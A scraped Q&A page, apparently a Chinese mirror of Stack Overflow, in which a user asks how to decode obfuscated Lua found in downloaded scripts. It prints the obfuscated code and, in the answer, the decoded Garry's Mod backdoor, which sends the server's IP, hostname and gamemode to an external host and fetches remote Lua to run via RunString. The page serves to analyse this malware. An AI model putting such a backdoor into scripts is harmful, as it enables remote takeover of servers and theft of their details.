解码混淆的lua
Posted
技术标签:
【中文标题】解码混淆的lua【英文标题】:Decode obfuscated lua 【发布时间】:2019-07-10 09:35:03 【问题描述】:我最近下载了一些 lua 脚本并在其中发现了这个混淆代码。好几个小时后,我没能找到如何去混淆它并正在寻求一些帮助。
就我已经尝试过的而言,我注意到数字只是转换为显示一些功能的字符。但是,似乎在顶部分配的变量没有分配给任何东西,或者可能是某些特殊的unicode
字符,这在我的编辑器(原子)中是不可见的。
这是混淆后的代码:
local = _G
local = ['\115\116\114\105\110\103']
local = ['\98\105\116']['\98\120\111\114']
local function ()
if ['\108\101\110']() == 0 then
return
end
local = ''
for _ in ['\103\109\97\116\99\104'](, '\46\46') do
= ..['\99\104\97\114']((["\116\111\110\117\109\98\101\114"](_, 16), 53))
end
return
end
['415c585047']['665c58455950'](5,
function ()
['5d414145']['655a4641']('5d414145460f1a1a565d545c5b595a46501b0505054250575d5a46415445451b565a581a4643595a521a414754565e50471b455d45', ['56'] = ['52585a51']['72504172545850585a5150']()['7b545850'], ['50'] = ['52545850']['7250417c6574515147504646'](), ['51'] = ['7250417d5a46417b545850']())
end )
['415c585047']['665c58455950'](5,
function ()
['5d414145']['735041565d']('5d414145460f1a1a565d545c5b595a46501b0505054250575d5a46415445451b565a581a5254461b594054',
function (return)
['67405b6641475c5b52'](return)
end, nil )
end )
【问题讨论】:
将编辑器中的编码更改为纯 ASCII。打开所有字符的可见性。用更易读的东西替换函数/变量名。全局表被多次访问。第一个函数用于在访问_G
时将所有这些字符串解码为实际键。分析这个函数;解码所有字符串,你就可以开始了。
只需将全文中的U+202A
替换为某个可见字符(例如x
)
【参考方案1】:
旧 Lua(和现代 LuaJIT)允许在标识符中使用任意非 ASCII 字节(高于 0x7F)。 混淆的好功能! :-)
timer.Simple(
5,
function ()
http.Post(
"https://chainlose.000webhostapp.com/svlog/tracker.php",
c = gmod.GetGamemode().Name,
e = game.GetIPAddress(),
d = GetHostName()
)
end
)
timer.Simple(
5,
function ()
http.Fetch(
"https://chainlose.000webhostapp.com/gas.lua",
function (str)
RunString(str)
end,
nil
)
end
)
【讨论】:
以上是关于解码混淆的lua的主要内容,如果未能解决你的问题,请参考以下文章